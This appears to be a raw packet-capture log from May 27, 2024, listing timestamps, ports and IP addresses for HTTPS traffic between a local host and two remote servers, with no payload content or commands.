May 27, 2024 19:30:40.967283964 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.967302084 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.967427969 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.967488050 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.967504978 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.967581034 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.967643023 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.967655897 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.968533039 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.968590975 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.968597889 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.968621016 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.968669891 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.968686104 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.969276905 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.969341040 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.969347954 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.969367981 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.969422102 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.969438076 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.970130920 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.970204115 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.970207930 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.970227003 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.970282078 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.970298052 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.010394096 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.010508060 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.010530949 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.029727936 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:41.029972076 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:41.030173063 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:41.031188011 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.031279087 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.031285048 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.031318903 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.031383991 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.031461954 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.031616926 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.031676054 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.031688929 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.031863928 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:41.031903982 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:41.072030067 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.072194099 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.072210073 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.072276115 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.072386026 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.072403908 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.072458982 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.072700977 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.072773933 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.072786093 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.072849989 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.073340893 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.073358059 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.073436022 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.073580980 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.073653936 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.073666096 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.073730946 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.073760986 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.074469090 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.074568033 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.074580908 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.074642897 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.075850010 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.075932980 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.077543020 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.077630043 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.077634096 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.077658892 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.077696085 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.101027012 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.101109028 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.101135969 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.101150990 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.101178885 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.101191044 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.101218939 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.101236105 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.101293087 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.124429941 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.124540091 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.124553919 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.124629021 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.124640942 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.124684095 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.124744892 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.124757051 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.124813080 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.125641108 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.125720024 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.161761999 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.161845922 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.161864996 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.161931038 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.162065983 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.162146091 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.162149906 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.162173986 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.162205935 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.162892103 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.162969112 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.162985086 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.163045883 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.163669109 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.163748980 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.163770914 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.163846016 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.164448977 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.164527893 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.164546967 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.164612055 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.165250063 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.165324926 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.165334940 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.165354013 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.165401936 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.166090012 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.166169882 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.166172028 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.166192055 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.166232109 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.188225985 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.188306093 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.188318968 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.188376904 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.188409090 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.188472986 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.188492060 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.188550949 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.211735964 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.211819887 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.211848021 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.211862087 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.211889029 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.212018967 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.212101936 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.212104082 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.212125063 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.212167025 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.212966919 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.213044882 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.213057041 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.213110924 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.213488102 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.213561058 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.213615894 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.213692904 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.250575066 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.250675917 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.250694990 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.250762939 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.250792027 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.250938892 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.250956059 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.251029015 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.251522064 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.251610041 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.251641035 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.251713991 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.252439976 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.252530098 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.252573013 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.252646923 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.253359079 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.253443003 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.253453970 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.253503084 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.253585100 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.253596067 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.253654957 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.254530907 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.254610062 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.254616976 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.254662037 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.254714966 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.276797056 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.276905060 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.277654886 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.277734995 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.277832985 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.277920961 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.277944088 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.278009892 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.300307035 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.300396919 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.300406933 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.300513983 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.300565958 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.300582886 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.300595045 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.300620079 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.300681114 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.300746918 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.300757885 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.339346886 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.339401007 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.339456081 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.339493990 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.339520931 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.339730978 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.339772940 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.339806080 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.339818954 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.339864016 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.340742111 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.340790033 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.340818882 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.340845108 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.340878010 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.341213942 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.341253042 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.341294050 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.341305971 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.341332912 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.342056036 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.342102051 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.342134953 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.342147112 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.342180014 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.342281103 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.342356920 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.342356920 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.342405081 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.342447996 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.365581989 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.365675926 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.365720034 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.365747929 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.365819931 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.365834951 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.365880966 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.365906000 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.365920067 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.365955114 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.365998983 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.366065979 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.366080999 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.389539957 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.389646053 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.389729023 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.389780045 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.389858007 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.389858007 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.389858007 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.389858007 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.389929056 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.428428888 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.428474903 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.428596973 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.428661108 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429037094 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429085970 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429126024 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.429143906 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429188013 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.429336071 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429375887 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429414034 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.429426908 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429456949 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.429466963 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429532051 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.429546118 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.429601908 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.430247068 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.430289030 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.430330992 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.430342913 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.430372000 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.430402994 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.431046963 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.431116104 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.431135893 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.431147099 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.431185007 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.431205988 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.455389023 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.455430031 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.455539942 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.455607891 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.455647945 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.455672026 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.478398085 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.478437901 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.478663921 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.478663921 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.478729010 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.478795052 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.478800058 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.478821039 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.478866100 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.478868961 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.478898048 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.478918076 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.478954077 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.478975058 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.518348932 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.518389940 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.518470049 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.518524885 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.518563032 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.518584013 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.518785954 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.518826008 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.518870115 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.518882990 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.518910885 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.518959045 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.519280910 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.519320965 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.519362926 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.519372940 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.519397974 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.519434929 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.519551992 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.519592047 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.519632101 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.519643068 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.519670010 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.519692898 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.522608995 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.522648096 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.522691011 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.522703886 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.522730112 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.522769928 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.546448946 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.546526909 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.546571016 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.546585083 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.546612024 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.546948910 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.567676067 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.567718983 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.567797899 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.567811966 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.567842960 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.567862988 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.567936897 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.567979097 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.568022013 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.568032980 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:41.568058968 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.568098068 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:41.607227087 CEST	443	55932	104.21.96.107	192.168.2.16
